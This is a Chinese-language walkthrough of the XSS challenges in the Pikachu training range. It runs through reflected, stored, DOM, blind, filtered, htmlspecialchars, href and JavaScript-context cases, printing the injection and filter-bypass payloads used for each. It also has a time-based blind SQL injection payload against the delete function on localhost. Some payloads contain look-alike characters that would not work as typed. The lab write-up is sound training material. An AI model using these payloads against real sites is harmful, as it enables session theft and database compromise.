Pikachu靶场通关之XSS
反射型xss(get)
输入xss代码,发现长度不够,审查元素修改下长度,输入payload
<script>alert()</script>
提交后,发现触发了xss
查看后台代码,发现 后台代码并没有对你输入的东西 做任何修改 ,只是原封不动的输出了
反射性xss(post)
输入账号密码:admin/123456 登入
输入payload:
<script>alert()</script>
发现没有反应,弹出窗口,成功
查看后台代码,发现 后台代码并没有对你输入的东西 做任何修改 ,只是原封不动的输出了
存储型xss
我们随便输入一个字符串,发现会在留言表进行显示
那么我们尝试输入下payload
<script>alert()</script>
输入后,发现出现弹窗,再次进去还是会出现弹窗
审查元素发现,xss已经永久在网页里了
查看后台代码,发现当我们留言后,判断message是否存在,并且 message不为空
进行了转义,防止sql注入插数据库的时候,把massage 插入到表中存下来,存到后台
将存储的留言 都显示出来
彩蛋:
发现删除功能有sql注入的可能
点击删除尝试抓包改变id
GET /xscj/pikachu-master/vul/xss/xss_stored.php?id=56 HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://127.0.0.1/xscj/pikachu-master/vul/xss/xss_stored.php
Cookie: PHPSESSID=bg229f1cuph7de6mef662p1446
Connection: close
无回显和报错,可以尝试延时注入
payload:
延时注入
select if(length(database())=7,sleep(100),1)
DOM型xss
HTML DOM树,可以理解为DOM为一个一个访问html的标准编程接口
htmldom
输入测试代码’"<> 显示的内容和我们的输入的有所不同
审查元素发现getElementById获取标签id为text的值传递给str,str通过字符串拼接到a标签中。所以我们要闭合前面的标签
<a href='"+str+"'>what do you see?</a>
<div id="dom"></div>
payload:
' onclick="alert()">
分析将payload拼接到str中dom会得到
<a href='' onclick="alert('xss')">'>what do you see?</a>
可以得出链接名变成了’>what do you see?,而href变成了οnclick=“alert(‘xss’)”
'><img src="#" οnmοuseοver="alert('xss')">
分析将payload拼接到str中dom会得到
<a href=''><img src="#" onmouseover="alert('xss')">'>what do you see?</a>
可是变成了一个图片链接,鼠标一离开图片就会触发
DOM型xss-x
payload与上面一样
xss之盲打
xss盲打是一种攻击场景。我们输出的payload不会在前端进行输出,当管理员查看时就会遭到xss攻击。
输入常规的payload:<script>alert()</script>
,点击提交后发现这里提示一段文字,应该是直接打到后台了,找到后台,登录进去看看
后台地址是/xssblind/admin_login.php登录即可触发xss
xss之过滤
输入<script>alert()</script>
发现都被过滤了
我们尝试下大写绕过
<Script>alert()</Script>
成功!!!
当script进行了小写操作成为滤关键词时,可以尝试其他的payload,如
<img src=x onmouseover="alert()">
<img src=x onerror="alert()">
xss之htmlspecialchars
htmlspecialchars没有对 ’ 进行实体转码
我们可以构造payload
' οnclick='alert()'>
绕过即可
xss之href输出
尝试使用payload
' οnclick='alert()'>
发现不行
查看源代码只htmlspecialchars还对单引号进行了实体编码,所以单引号不行了
$message=htmlspecialchars($_GET['message'],ENT_QUOTES);
但可以在a标签的href属性里面使用javascript协议来执行js,可以尝试使用伪协议绕过
javascript:alert()
点击即可触发弹窗
xss之js输出
输入测试代码查看源码
输入的代码被生成在js中并赋值给$ms。我们的输入被带入到js中,可以闭合
</script><script>alert()</script>
成功弹窗